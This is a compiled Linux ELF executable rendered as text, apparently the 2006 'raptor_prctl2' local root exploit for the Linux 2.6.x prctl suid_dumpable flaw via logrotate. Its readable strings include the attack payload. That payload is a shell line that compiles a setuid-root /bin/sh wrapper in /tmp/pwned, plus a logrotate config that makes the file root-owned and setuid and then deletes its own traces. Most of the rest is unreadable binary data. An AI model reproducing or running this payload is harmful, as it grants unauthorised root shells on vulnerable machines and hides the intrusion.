ELF              `4         4    (      4   44                                      	  	           	               	                 (  ((              Qtd                          /lib/ld-linux.so.2           GNU                    	                        
                                                                                                                K       $      ^       %     4       E      >       \      .       K      c   (                  X       9      E                        q             v   l     S       =      j       f                                    _Jv_RegisterClasses __gmon_start__ libc.so.6 prctl setrlimit system sleep fprintf kill chdir fork stderr fwrite exit _IO_stdin_used __libc_start_main __xstat GLIBC_2.2 GLIBC_2.0                          $          ii         ii          p  (                	  
          U  d     5x%|    %h    %h   %h   %h   %h    %h(   %h0   %h8   p%h@   `%hH   P%hP   @%hX   0%h`    1^PTRhhQVhUSQ    [  tX[U=, tv ȚҡȚu,ÉUt    thЃÐUx    )ġ(hphhPVhvEEEPjG/E} u9hijj:h  ZjmjupE} u9hjjh  jjujEPh   xEPh   y!(Pj%jh,j(Pj:jhTj UWVS    [    )Eue[^_1PuuuG;}re[^_UÐUS    [k  uuj]ÐUSRtЋCuX[ÐUSP    [  FX[       Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>    raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate) %s
%s

 /var/log /etc/logrotate.d /var/log/core /etc/logrotate.d/core  Error: Not vulnerable? See comments.
   Please wait until logrotate is run and check /tmp/pwned;)
                     $      h   L   H      ؁
                      t   h                            oo   o                                                            Ƅք&6FV                                        
/var/log/core {
    daily
    size=0
    firstaction
        chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*
    endscript
}
                  echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c   GCC: (GNU) 4.0.2 20051125 (Red Hat 4.0.2-8)  GCC: (GNU) 4.0.2 20051125 (Red Hat 4.0.2-8)  GCC: (GNU) 4.0.2 20051125 (Red Hat 4.0.2-8)  GCC: (GNU) 4.0.2 20051125 (Red Hat 4.0.2-8)  GCC: (GNU) 4.0.2 20051125 (Red Hat 4.0.2-8)  GCC: (GNU) 4.0.2 20051125 (Red Hat 4.0.2-8)  .symtab .strtab .shstrtab .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame .ctors .dtors .jcr .dynamic .got .got.plt .data .bss .comment                                                                         #         ((                     1         HH                  7         ؁                ?                             G   o     "                T   o     0                c   	                        l   	          h               u         hh                    p                            {         ``                            LL                             hh  '                          	                             	                             	                             	                             	                           pp
                            tt
  @                          
  h                           ((                                  (                                 6                                  p  P     ,         	                                                               (          H          ؁                                                        	     h     
               `          L          h                                                            p          t                    (                                                                                            *         8         E   ,     T   Ț      [         q   ܅                  }                                       $                              h            $             %            E                   ,   "    3  Ě     @       P      \      b  h     
 h      K      y  (                   `            9                         \       (                            )         4  L      :      N       V            f   "   " k  (     r  t       0             l           =            f                                                call_gmon_start crtstuff.c __CTOR_LIST__ __DTOR_LIST__ __JCR_LIST__ completed.4577 p.4576 __do_global_dtors_aux frame_dummy __CTOR_END__ __DTOR_END__ __FRAME_END__ __JCR_END__ __do_global_ctors_aux .c.c _DYNAMIC _fp_hw fprintf@@GLIBC_2.0 fork@@GLIBC_2.0 setrlimit@@GLIBC_2.2 pwnage __fini_array_end __stat __dso_handle __libc_csu_fini system@@GLIBC_2.0 _init prctl@@GLIBC_2.0 stderr@@GLIBC_2.0 __xstat@@GLIBC_2.0 _start chdir@@GLIBC_2.0 sleep@@GLIBC_2.0 __fini_array_start __libc_csu_init __bss_start main __libc_start_main@@GLIBC_2.0 __init_array_end data_start _fini __preinit_array_end payload exit@@GLIBC_2.0 stat _edata _GLOBAL_OFFSET_TABLE_ _end __init_array_start _IO_stdin_used kill@@GLIBC_2.0 fwrite@@GLIBC_2.0 __data_start _Jv_RegisterClasses __preinit_array_start __gmon_start__ 
